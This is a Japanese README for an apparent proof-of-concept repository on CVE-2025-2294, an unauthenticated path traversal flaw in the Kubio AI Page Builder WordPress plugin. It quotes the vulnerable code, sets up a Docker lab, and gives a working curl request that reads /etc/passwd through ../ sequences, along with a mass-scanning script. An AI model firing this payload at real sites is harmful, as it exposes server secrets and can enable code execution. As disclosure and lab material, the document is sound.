
CVE-2025-2294の概念実証エクスプロイト。WordPress用Kubio AI Page Builderにおける重大なLFI脆弱性です。Pythonスキャナー、nucleiテンプレート、およびテスト用Dockerラボを含みます。
CVE-2025-2294 は、WordPress プラグイン Kubio AI Page Builder における Local File Inclusion (LFI) タイプの重大な脆弱性です。この脆弱性により、認証されていないリモートの攻撃者が特別に細工されたパラメータを送信すると、プラグインがサーバー上の任意のファイルをインクルードする可能性があります。インクルードされた PHP ファイルが存在する場合、リモートコード実行 (RCE) につながる可能性があります。
kubio/wp-content/plugins/kubio/cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).
__kubio-site-edit-iframe-classic-template を受け入れるパブリック HTTP(S) エンドポイントが利用可能である。wp-config.php、秘密鍵、ログ)。脆弱なコードは、グローバル配列 $_REQUEST にアクセスする関数 kubio_hybrid_theme_load_template() に関連しています:
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
$new_template = locate_template([$template_id]);
if ($new_template !== '') {
return $new_template;
}
}
Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — グローバル入力データセットから値を直接取得します($_REQUEST は $_GET、$_POST、$_COOKIE を結合します)。これはパラメータがリモートで制御可能であることを意味します。$template_id が真)、コードは locate_template([$template_id]) を呼び出します。locate_template() は、指定された相対パス/名前に基づいてテンプレートを検索する WordPress ユーティリティ(またはプラグイン内の同等の関数)です。通常のシナリオでは、安全なテンプレートディレクトリ内のファイル名(例:header.php、template-parts/content.php)が渡されることが期待されていました。git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
docker exec -it <WORDPRESS_DOCKER_ID> bash
解凍後、http://localhost:8080/wp-admin/plugins.php にアクセスしてプラグインを有効化してください
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

__kubio-site-edit-iframe-classic-template=<path>
このパラメータは、プラグインがテンプレートの識別子/パスとして使用する文字列を渡します。
脆弱なコードスニペットでは、値が $_REQUEST から取得され、正規化や制限なしに locate_template() に渡されます。その結果、ディレクトリトラバーサルが可能になります:値に ../ シーケンスを挿入すると、最終的なパスが期待されるテンプレートディレクトリの範囲外に移動し、ファイルシステム上の任意のファイル(/etc/passwd を含む)を指す可能性があります。
まさにこのパラメータが攻撃のペイロードを運びます — 攻撃者はこれを使用してターゲットファイルを指定します。
__kubio-site-edit-iframe-preview=1
これはサービスフラグ(プレビューモード / iframe-edit モード)です。リクエスト処理を、__kubio-site-edit-iframe-classic-template で指定されたテンプレートが読み取られ使用されるコードブランチに切り替えます。
preview=1 がない場合、プラグインは classic-template パラメータを処理しないか、別のロジックを使用する可能性があります。preview=1 がある場合、テンプレートの読み取りと返却を許可するロジックが有効になり、悪用が可能になります。
/wp-content/plugins/kubio/readme.txt ファイルを介してプラグインバージョンを確認します。
/etc/passwd の出力を確認します
スクリプトは /etc/passwd の出力を確認しますが、マルチスレッドにより nuclei よりもはるかに高速で、複数ホストの同時スキャンをサポートします。
python3 scan.py --target http://localhost:8080
